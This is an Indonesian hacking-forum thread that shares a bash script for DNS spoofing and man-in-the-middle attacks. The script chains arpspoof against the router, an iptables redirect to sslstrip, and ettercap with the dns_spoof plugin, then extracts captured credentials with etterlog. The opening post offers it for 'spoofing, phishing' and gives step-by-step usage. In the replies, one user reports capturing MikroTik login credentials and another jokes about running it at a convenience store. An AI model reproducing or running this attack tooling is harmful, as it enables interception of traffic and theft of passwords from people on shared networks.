DNS Spoffing dengan Script Bash dns_spoof.bash
#1
Thumbs Up 
DNS Spoofing menggunakan Scripts .bash pada ettercap
------------------------------------------------------------------

Selamat siang teman-teman IBTeam....!!
B4 Maaf ya admin jika ane repost..., n' jika salah kamar harap di delete aj ya... Big Grin
OK deh..begini saya nemu tool yg lumayan bagus buat aktifitas Spoffing, phising atau blallalalal ah... susah ane nyebut nya,..... Big Grin
Tool ini berfungsi untuk DNS Spoffing dalam sebuah jaringan menggunakan script bash.....!!
fungsi DNS Spoffing sendiri adalah mengalihkan suatu website kepada alamat IP address yg kita tujukan..., misalnya IP addres kita sendiri...., Ok deh ga' usah basa basi lagi langsung aja KTP....., eh maksudnya TKP... Big Grin
Cool
dns_spoof.bash
Code:
#!/bin/bash
echo -e "Please ensure \E[32m\033[1m'echo 1 > /proc/sys/net/ipv4/ip_forward'\E[37m\033[0m has been performed as root"
echo -e "If you plan to spoof change your IP in \E[32m\033[1m'/usr/share/ettercap/etter.dns'\E[37m\033[0m"
echo -n "Please enter the name of the folder that will be created with all the log files:    "
read -e folder
echo -n "please enter the name of the log file:    "
read -e file
echo -n "Please enter the router IP:    "
read routerip
echo -n "Please enter interface name (eg: wlan0):    "
read iface
echo -n "Would you like to dns spoof at this time? [y/n]"
read spoof
sudo mkdir /root/$folder
sudo xterm -geometry 75x15+1+300 -T "ARP Spoof" -e arpspoof -i $iface $routerip &
sleep 2
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000 &
echo "Routed IP Tables"
sudo xterm -geometry 75x15+500+300 -T "SSL Strip" -e sslstrip -a -k -f &
echo "SSL Strip Launched successfully"
sleep 2
if [ "$spoof" = "n" ]; then
sudo xterm -geometry 75x15+1000+300 -T Ettercap -e ettercap -T -q -i $iface -l /root/$folder/$file -P autoadd
else
sudo xterm -geometry 75x15+1000+300 -T Ettercap -e ettercap -T -q -i $iface -P dns_spoof
fi
killall sslstrip
killall arpspoof
sudo etterlog -p -i /root/$folder/$file.eci
exit

Copy n' simpan scripts di atas ke gedit atau semacamnya dengan format .bash (buat namanya terserah), lalu izinkan executablenya dengan cara klik kanan pada scripts property-permissions dan centrang allow executable...n' jalankan pada terminal dengan perintah :
Code:
./[nama_script].bash
dan ikuti peritah selanjutnya...
nih penampakan dari Lappy ane... Big Grin

[Image: dns2.png]

Sekian dulu ya... mudah-mudah bermanfaat bagi teman2 semua Big Grin
CoolCoolCool
source :
http://www.backtrack-linux.org/forums/sh...hp?t=28646
_____________________
Salam IBTeam.....!!!
root@bt:~# cat about_me
I'm just a linuxer....!!! ^_^
root@bt:~#

#2
I love backtrack

O.o

test dlu aaaaaaah

#3
hmm otomatisasi etercap, arpspoof n plugin dns spoof

nice share, +1 dari ane Smile

#4
nice share dah
ijin ngesave :S
Every Second, Every Minutes, Every Hours, Every Days Its Never End

#5
nice threads om novri ^_^
jadi ini hasil solving yang tadi malam?? ehaaa ngeri iaaa kawan satu ni

keep share om Smile lagi error ni mau kasih +1 g tau knapa g bsa ntar kalau dah g error dikasih Smile

#6
Ane nyoba ko eror kaya gini ya Om???

[Image: f1jz0p.png]

mohon bantuannya om
Code:
99% [=====================================> ] 325,748,506 46.2K/s eta 75s

#7
udah dilakukan semua seperti yang di peringatannya belum?
echo 1 > /proc/sys/net/ipv4/ip_forward

FYI sslstrip dilakukan setelah ettercap telah dijalankan

#8
Semalam coba script di atas tapi kok semuanya malah tidak bisa login? semuanya tertahan di halaman login mikrotik... meskipun user dan passwordnya tertangkap tapi tetap saja passwordnya di encryp pakai md5....
Setelah utak atik etter.dns nya, sekarang semuanya sudah bisa konek kembali tapi paket http malah tidak muncul Big Grin
Backtrack
Kisah tentang kita dan Linux

#9
nyicip ahh test dulu yah bang
alpoah@IBTeam:~#


Power Off BODOH

#10
wakakak mantep nih tools makin menpercepat kerja ketika di sevel Big Grin nice share TS






Users browsing this thread: 1 Guest(s)